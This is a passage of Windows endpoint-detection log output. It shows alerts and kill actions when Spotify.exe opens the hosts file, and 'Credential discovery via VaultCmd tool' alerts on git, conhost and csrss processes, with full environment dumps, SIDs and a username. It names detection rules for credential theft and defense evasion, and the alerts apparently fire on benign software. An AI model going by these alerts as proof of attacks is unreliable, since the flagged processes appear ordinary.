PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:28:06+01:00 level=info msg=sending alert: [Suspicious access to the hosts file]. Text: Suspicious process C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe accessed the hosts file for potential tampering + Event(s): + Seq: 2100347 + Pid: 8756 + Tid: 15988 + Type: CreateProcess + CPU: 3 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-03 23:27:46.8582276 +0100 CET + Params: cmdline➜ "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" , directory_table_base➜ 3e20d6000, domain➜ ARCHRABBIT, exe➜ C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe, exit_status➜ Success, flags➜ , kproc➜ ffffe1066a4b8080, name➜ Spotify.exe, pid➜ 8888, ppid➜ 8756, real_ppid➜ 8756, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-03 23:27:46.8581667 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: technique.ref: https://attack.mitre.org/techniques/T1562/001/, rule.seq.link: 2891311165856546816, rule.name: Suspicious access to the hosts file, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1562.001, technique.name: Impair Defenses - Disable or Modify Tools + + Pid: 8756 + Ppid: 8692 + Name: explorer.exe + Cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\Explorer.EXE + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\Explorer.EXE] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8756_1262719628:1 EFC_8756_1592913036:1 EFC_8756_2283032206:1 EFC_8756_2775293581:1 EFC_8756_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 2134308 + Pid: 8888 + Tid: 15652 + Type: CreateFile + CPU: 3 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-03 23:27:49.6199287 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffffe10674c05b70, file_path➜ C:\WINDOWS\system32\drivers\etc\hosts, irp➜ ffffe106714e47c8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 15652, type➜ Directory + Metadata: technique.name: Impair Defenses - Disable or Modify Tools, technique.ref: https://attack.mitre.org/techniques/T1562/001/, rule.seq.link: 2891311165856546816, rule.name: Suspicious access to the hosts file, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1562.001 + + Pid: 8888 + Ppid: 8756 + Name: Spotify.exe + Parent name: explorer.exe + Cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe + Cwd: C:\Users\nedo\AppData\Roaming\Spotify\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe"] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8888_ONOFSSLPEGSZZRTH COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8756_1262719628:1 EFC_8756_1592913036:1 EFC_8756_2283032206:1 EFC_8756_2775293581:1 EFC_8756_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __COMPAT_LAYER:DetectorsAppHealth windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:28:06+01:00 level=info msg=executing kill action: pids=[8888] rule=Suspicious access to the hosts file source=rules/engine.go:294 +time=2025-11-03T23:28:17+01:00 level=info msg=sending alert: [Suspicious access to the hosts file]. Text: Suspicious process C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe accessed the hosts file for potential tampering + Event(s): + Seq: 2135209 + Pid: 8888 + Tid: 19488 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-03 23:27:49.6483241 +0100 CET + Params: cmdline➜ "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --start-stack-profiler --user-data-dir="C:\Users\nedo\AppData\Local\Spotify" --log-severity=disable --user-agent-product="Chrome/140.0.7339.214 Spotify/1.2.75.510" --metrics-shmem-handle=2436,i,13421737166431752001,6314545176173397569,524288 --field-trial-handle=2528,i,123509561488667754,13888295930968283042,262144 --disable-features=BackForwardCache,FullscreenBubbleShowOrigin,HardwareMediaKeyHandling,LensOverlay,PartitionAllocDanglingPtr,PartitionAllocUnretainedDanglingPtr,StorageNotificationService --variations-seed-version --enable-logging=handle --log-file=2696 --mojo-platform-channel-handle=2692 /prefetch:11, directory_table_base➜ 46b70d000, domain➜ ARCHRABBIT, exe➜ C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe, exit_status➜ Success, flags➜ , kproc➜ ffffe10674f10080, name➜ Spotify.exe, pid➜ 19904, ppid➜ 8888, real_ppid➜ 8888, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-03 23:27:49.6481993 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1562.001, technique.name: Impair Defenses - Disable or Modify Tools, technique.ref: https://attack.mitre.org/techniques/T1562/001/, rule.seq.link: 3107483947970330624, rule.name: Suspicious access to the hosts file, tactic.id: TA0005 + + Pid: 8888 + Ppid: 8756 + Name: Spotify.exe + Parent name: explorer.exe + Cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe + Cwd: C:\Users\nedo\AppData\Roaming\Spotify\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe"] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8888_ONOFSSLPEGSZZRTH COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8756_1262719628:1 EFC_8756_1592913036:1 EFC_8756_2283032206:1 EFC_8756_2775293581:1 EFC_8756_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __COMPAT_LAYER:DetectorsAppHealth windir:C:\WINDOWS] + + + + Seq: 2161444 + Pid: 19904 + Tid: 18696 + Type: CreateFile + CPU: 5 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-03 23:27:50.6200899 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffffe1067501cdc0, file_path➜ C:\WINDOWS\system32\drivers\etc\hosts, irp➜ ffffe10674e87988, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 18696, type➜ Directory + Metadata: technique.id: T1562.001, technique.name: Impair Defenses - Disable or Modify Tools, technique.ref: https://attack.mitre.org/techniques/T1562/001/, rule.seq.link: 3107483947970330624, rule.name: Suspicious access to the hosts file, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 19904 + Ppid: 8888 + Name: Spotify.exe + Parent name: Spotify.exe + Cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --start-stack-profiler --user-data-dir="C:\Users\nedo\AppData\Local\Spotify" --log-severity=disable --user-agent-product="Chrome/140.0.7339.214 Spotify/1.2.75.510" --metrics-shmem-handle=2436,i,13421737166431752001,6314545176173397569,524288 --field-trial-handle=2528,i,123509561488667754,13888295930968283042,262144 --disable-features=BackForwardCache,FullscreenBubbleShowOrigin,HardwareMediaKeyHandling,LensOverlay,PartitionAllocDanglingPtr,PartitionAllocUnretainedDanglingPtr,StorageNotificationService --variations-seed-version --enable-logging=handle --log-file=2696 --mojo-platform-channel-handle=2692 /prefetch:11 + Parent cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" + Exe: C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --start-stack-profiler --user-data-dir="C:\Users\nedo\AppData\Local\Spotify" --log-severity=disable --user-agent-product="Chrome/140.0.7339.214 Spotify/1.2.75.510" --metrics-shmem-handle=2436,i,13421737166431752001,6314545176173397569,524288 --field-trial-handle=2528,i,123509561488667754,13888295930968283042,262144 --disable-features=BackForwardCache,FullscreenBubbleShowOrigin,HardwareMediaKeyHandling,LensOverlay,PartitionAllocDanglingPtr,PartitionAllocUnretainedDanglingPtr,StorageNotificationService --variations-seed-version --enable-logging=handle --log-file=2696 --mojo-platform-channel-handle=2692 /prefetch:11] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:28:17+01:00 level=info msg=executing kill action: pids=[19904] rule=Suspicious access to the hosts file source=rules/engine.go:294 +time=2025-11-03T23:28:17+01:00 level=error msg=unable to execute rule action: fail to execute action for "Suspicious access to the hosts file" rule: failed to kill pid 19904: Access is denied. source=rules/engine.go:252 +time=2025-11-03T23:30:18+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 2447564 + Pid: 1700 + Tid: 21052 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:30:07.5210191 +0100 CET + Params: file_key➜ ffff808cc043d600, file_path➜ C:\Windows\System32\C_437.NLS, offset➜ 0, pid➜ 1700, protection➜ READONLY, section_type➜ DATA, type➜ File, view_base➜ 223d5580000, view_size➜ 69632 + Metadata: rule.name: Credential discovery via VaultCmd tool, tactic.name: Credential Access, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, subtechnique.name: Windows Credential Manager, subtechnique.id: T1555.004, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006 + + Pid: 1700 + Ppid: 21292 + Name: conhost.exe + Parent name: git.exe + Cmdline: \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 + Parent cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) + Exe: C:\WINDOWS\system32\conhost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:30:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 2452811 + Pid: 944 + Tid: 17024 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:30:07.6629075 +0100 CET + Params: file_key➜ ffff808cc87f8300, offset➜ 0, pid➜ 944, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 21bfc930000, view_size➜ 65536 + Metadata: rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, subtechnique.id: T1555.004, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.id: T1555 + + Pid: 944 + Ppid: 936 + Name: csrss.exe + Cmdline: %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 + Exe: C:\WINDOWS\system32\csrss.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [%SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:30:26+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 2480480 + Pid: 1492 + Tid: 11992 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:30:08.4173463 +0100 CET + Params: file_key➜ ffff808cbe3de790, offset➜ 0, pid➜ 1492, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 8e0000, view_size➜ 16384 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, tactic.name: Credential Access, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager, tactic.id: TA0006 + + Pid: 1492 + Ppid: 21172 + Name: git.exe + Parent name: go.exe + Cmdline: git for-each-ref --format %(refname) refs/tags --merged 11ab6872dac9526c0b102e8a2810f6a6af172510 + Parent cmdline: go list -e -json=Name,ImportPath,Error,Dir,GoFiles,IgnoredGoFiles,IgnoredOtherFiles,CFiles,CgoFiles,CXXFiles,MFiles,HFiles,FFiles,SFiles,SwigFiles,SwigCXXFiles,SysoFiles,TestGoFiles,XTestGoFiles,CompiledGoFiles,Export,DepOnly,Imports,ImportMap,TestImports,XTestImports,Module -compiled=true -test=true -export=true -deps=true -find=false -pgo=off -- + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [git for-each-ref --format %(refname) refs/tags --merged 11ab6872dac9526c0b102e8a2810f6a6af172510] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:30:26+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 2480549 + Pid: 1492 + Tid: 11992 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:30:08.4189408 +0100 CET + Params: file_key➜ ffff808ce222b930, offset➜ 0, pid➜ 1492, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 8f0000, view_size➜ 4096 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.name: Credential Access, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, subtechnique.name: Windows Credential Manager, tactic.id: TA0006 + + Pid: 1492 + Ppid: 21172 + Name: git.exe + Parent name: go.exe + Cmdline: git for-each-ref --format %(refname) refs/tags --merged 11ab6872dac9526c0b102e8a2810f6a6af172510 + Parent cmdline: go list -e -json=Name,ImportPath,Error,Dir,GoFiles,IgnoredGoFiles,IgnoredOtherFiles,CFiles,CgoFiles,CXXFiles,MFiles,HFiles,FFiles,SFiles,SwigFiles,SwigCXXFiles,SysoFiles,TestGoFiles,XTestGoFiles,CompiledGoFiles,Export,DepOnly,Imports,ImportMap,TestImports,XTestImports,Module -compiled=true -test=true -export=true -deps=true -find=false -pgo=off -- + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [git for-each-ref --format %(refname) refs/tags --merged 11ab6872dac9526c0b102e8a2810f6a6af172510] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:31:00+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 2651491 + Pid: 5184 + Tid: 12816 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:30:40.4424852 +0100 CET + Params: file_key➜ ffff808cf6c43170, file_path➜ , offset➜ 0, 